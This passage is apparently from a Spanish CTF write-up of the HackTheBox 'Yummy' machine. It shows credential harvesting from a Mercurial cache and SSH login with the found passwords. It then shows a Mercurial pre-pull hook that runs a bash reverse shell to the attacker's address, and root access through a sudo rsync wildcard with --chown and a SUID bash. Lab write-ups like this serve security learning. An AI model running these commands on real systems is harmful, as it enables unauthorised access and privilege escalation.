Utilizando un bucle, podemos recorrer todos estos archivos y filtrar por algunas palabras interesantes y encontramos algo muy interesante.

1(remote) www-data@yummy:/var/www/app-qatesting/.hg$ for file in $(find . -type f); do strings $file | grep -e "pass" -e "pwd" -e "user"; done
2strings: ./wcache/checkisexec: Permission denied
39    'user': 'chef',
4    'password': '3wDo7gSRZIwIHRxZ!',
56    'user': 'qa',
6    'password': 'jPAd!XQCtn8Oc@2B',
7?$pwd
8You have new mail in /var/mail/www-data

La credencial de chef no es válida.

1$ sshpass -p '3wDo7gSRZIwIHRxZ!' ssh chef@yummy.htb
2Permission denied, please try again.

Pero la credencial de qa si que lo es.

 1$ sshpass -p 'jPAd!XQCtn8Oc@2B' ssh qa@yummy.htb
 2Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-31-generic x86_64)
 3
 4 * Documentation:  https://help.ubuntu.com
 5 * Management:     https://landscape.canonical.com
 6 * Support:        https://ubuntu.com/pro
 7
 8 System information as of Mon Oct  7 01:37:55 PM UTC 2024
 9
10  System load:  0.16              Processes:             266
11  Usage of /:   62.1% of 5.56GB   Users logged in:       0
12  Memory usage: 21%               IPv4 address for eth0: 10.129.29.218
13  Swap usage:   0%
14
15
16Expanded Security Maintenance for Applications is not enabled.
17
1810 updates can be applied immediately.
1910 of these updates are standard security updates.
20To see these additional updates run: apt list --upgradable
21
22Enable ESM Apps to receive additional future security updates.
23See https://ubuntu.com/esm or run: sudo pro status
24
25
26The list of available updates is more than a week old.
27To check for new updates run: sudo apt update
28Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
29
30
31Last login: Mon Oct  7 13:37:56 2024 from 10.10.16.9
32qa@yummy:~$ 

Y podemos leer la flag de usuario.

1qa@yummy:~$ cat user.txt 
26d26bb0e677eed...

Abusing hgrc hooks -> User Pivoting 3

Vemos que qa puede ejecutar como el usuario dev el comando /usr/bin/hg pull /home/dev/app-production

1qa@yummy:~$ sudo -l
2[sudo] password for qa: 
3çMatching Defaults entries for qa on localhost:
4    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
5
6User qa may run the following commands on localhost:
7    (dev : dev) /usr/bin/hg pull /home/dev/app-production/

En el directorio personal de qa me encuentro el archivo de configuración .hgrc

 1qa@yummy:~$ cat .hgrc 
 2# example user config (see 'hg help config' for more info)
 3[ui]
 4# name and email, e.g.
 5# username = Jane Doe <jdoe@example.com>
 6username = qa
 7
 8# We recommend enabling tweakdefaults to get slight improvements to
 9# the UI over time. Make sure to set HGPLAIN in the environment when
10# writing scripts!
11# tweakdefaults = True
12
13# uncomment to disable color in command output
14# (see 'hg help color' for details)
15# color = never
16
17# uncomment to disable command output pagination
18# (see 'hg help pager' for details)
19# paginate = never
20
21[extensions]
22# uncomment the lines below to enable some popular extensions
23# (see 'hg help extensions' for more info)
24#
25# histedit =
26# rebase =
27# uncommit =
28[trusted]
29users = qa, dev
30groups = qa, dev

Leyendo la documentación encontramos lo siguiente:

pre-COMMAND Run before executing the associated command. The contents of the command line are passed as $HG_ARGS. Parsed command line arguments are passed as $HG_PATS and $HG_OPTS. These contain string representations of the data internally passed to . $HG_OPTS is a dictionary of options (with unspecified options set to their defaults). $HG_PATS is a list of arguments. If the hook returns failure, the command doesn’t execute and Mercurial returns the failure code.

Por lo cual podemos crear un hook pre-pull por ejemplo, que se ejecutará antes de hacer un pull, y como esto se ejecutará como dev podríamos migrar a este usuario.

Vamos a crear el directorio /tmp/.hg y vamos a copiarnos el .hgrc del usuario qa dentro de este directorio.

1qa@yummy:/tmp$ mkdir .hg
2qa@yummy:/tmp$ cd .hg/
3qa@yummy:/tmp/.hg$ ls
4qa@yummy:/tmp/.hg$ cp /home/qa/.hgrc .

Ahora vamos a modificar el .hgrc para agregar al hook abajo del todo y ejecutar el script /tmp/pivot.sh Write-up Image

Revisando la documentación, el archivo de configuración debe llamarse hgrc y no .hgrc

1qa@yummy:/tmp/.hg$ mv .hgrc hgrc
2qa@yummy:/tmp/.hg$ nano hgrc 

Ahora creamos /tmp/pivot.sh para mandarnos una revshell.

1qa@yummy:/tmp$ cat pivot.sh 
2#!/bin/bash
3
4bash -c "bash -i >& /dev/tcp/10.10.16.9/443 0>&1"

Nos ponemos en escucha con pwncat-cs por el puerto 443.

1$ sudo pwncat-cs -lp 443

Ahora, si todo ha salido bien, ejecutamos como dev el comando que se nos permite.

1qa@yummy:/tmp$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/

Y ganamos acceso como el usuario dev

 1$ sudo pwncat-cs -lp 443
 2/usr/local/lib/python3.11/dist-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated and will be removed in a future release
 3  'class': algorithms.Blowfish,
 4[15:57:01] Welcome to pwncat 🐈!                                                                                                               __main__.py:164
 5[15:57:19] received connection from 10.129.29.218:53060                                                                                             bind.py:84
 6[15:57:21] 10.129.29.218:53060: registered new host w/ db                                                                                       manager.py:957
 7(local) pwncat$                                                                                                                                               
 8
 9(remote) dev@yummy:/tmp$ id
10uid=1000(dev) gid=1000(dev) groups=1000(dev)

Privilege Escalation

Rápidamente nos damos cuenta de que dev puede ejecutar un comando como root

1(remote) dev@yummy:/tmp$ sudo -l
2Matching Defaults entries for dev on localhost:
3    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
4
5User dev may run the following commands on localhost:
6    (root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/

Podemos ejecutar sin contraseña el comando /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/ como root

En resumen este comando copia todo lo que haya en /home/dev/app-production/* a /opt/app

Esa wildcard cuidado, consultando GTFOBins encontramos lo siguiente. Podemos escalar privilegios utilizando el parámetro -e pero no nos sirve para nada ya que corresponde a --rsh.

sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null

Eso era algo informativo.

Pero podemos aprovecharnos de esa wildcard para agregar otro parámetro, revisando el manual de rsync vemos un parámetro --chown, esto sirve para al hacer el rsync, establecer un usuario y un grupo a los archivos, y como este comando lo podemos ejecutar como root, teóricamente podríamos crear un archivo nuevo, hacer el rsync agregando la flag --chown=root:root y los archivos nuevos se crearían como root

Write-up Image

Vamos a copiarnos la /bin/bash como pointedshell en /home/dev/app-production y establecer el bit SUID a 1.

 1(remote) dev@yummy:/home/dev/app-production$ cp /bin/bash pointedshell
 2(remote) dev@yummy:/home/dev/app-production$ chmod u+s pointedshell 
 3(remote) dev@yummy:/home/dev/app-production$ ls -la
 4total 1456
 5drwxr-xr-x 7 dev dev    4096 Oct  7 14:16 .
 6drwxr-x--- 7 dev dev    4096 Oct  7 14:16 ..
 7drwxrwxr-x 5 dev dev    4096 May 28 14:25 .hg
 8-rw-rw-r-- 1 dev dev   10037 May 28 20:19 app.py
 9drwxr-xr-x 3 dev dev    4096 May 28 13:59 config
10drwxr-xr-x 3 dev dev    4096 May 28 13:59 middleware
11-rwsr-xr-x 1 dev dev 1446024 Oct  7 14:16 pointedshell
12drwxr-xr-x 6 dev dev    4096 May 28 13:59 static
13drwxr-xr-x 2 dev dev    4096 May 28 14:13 templates

Ahora si se conservasen esos permisos pero cambiase el propietario a root podríamos lanzarnos una bash como root

Ahora si nos vamos al directorio anterior (no debe de estar en uso), y ejecutamos nuestro comando añadiendo el parámetro --chown que es perfectamente válido debido al uso de la wildcard (*)

1(remote) dev@yummy:/home/dev/app-production$ cd ..
2(remote) dev@yummy:/home/dev$ sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* --chown=root:root /opt/app/

En principio se deberían de hacer sincronizado los archivos en /opt/app/ pero cambiando el propietario a root, lo podemos comprobar.

 1(remote) dev@yummy:/home/dev$ ls -la /opt/app/
 2total 1456
 3drwxrwxr-x 7 root     www-data    4096 Oct  7 14:18 .
 4drwxr-xr-x 3 root     root        4096 Sep 30 08:16 ..
 5drwxrwxr-x 2 www-data www-data    4096 Sep 30 08:16 __pycache__
 6-rw-rw-r-- 1 root     root       10037 May 28 20:19 app.py
 7drwxr-xr-x 3 root     root        4096 May 28 13:59 config
 8drwxr-xr-x 3 root     root        4096 May 28 13:59 middleware
 9-rwsr-xr-x 1 root     root     1446024 Oct  7 14:18 pointedshell
10drwxr-xr-x 6 root     root        4096 May 28 13:59 static
11drwxr-xr-x 2 root     root        4096 May 28 14:13 templates

Y vemos que pointedshell tiene el bit de SUID a 1 y su propietario es root

Este proceso hay que hacerlo rápido ya que hay un script por detrás que va borrando los archivos, pero si lo hacemos rápido y nos lanzamos nuestra pointedshell con el parámetro -p, ganamos una consola privilegiada.

1(remote) dev@yummy:/home/dev$ /opt/app/pointedshell -p
2(remote) root@yummy:/home/dev# id
3uid=1000(dev) gid=1000(dev) euid=0(root) groups=1000(dev)

Podríamos leer la flag de root

1(remote) root@yummy:/root# cat root.txt 
206b2d1a140c6cdbf1...

¡Y ya estaría!

Happy Hacking! 🚀

#HackTheBox   #Yummy   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #RCE   #Exploit   #Linux   #HTTP Enumeration   #Local File Inclusion   #Directory Path Traversal   #Python Scripting   #Scripting   #Abusing CRON   #Information Leakage   #Information Disclosure   #Analyzing Codebase   #RSA Key Exposure   #RSA Private Key Creation   #Factorizing P and Q   #Self-Signing JWT Token   #SQL Injection   #Abusing FILE Privilege   #Abusing MissConfigured UNIX Permissions   #Abusing Mercurial   #Abusing Hgrc Hooks   #Abusing Wildcard in Sudo   #Abusing RSync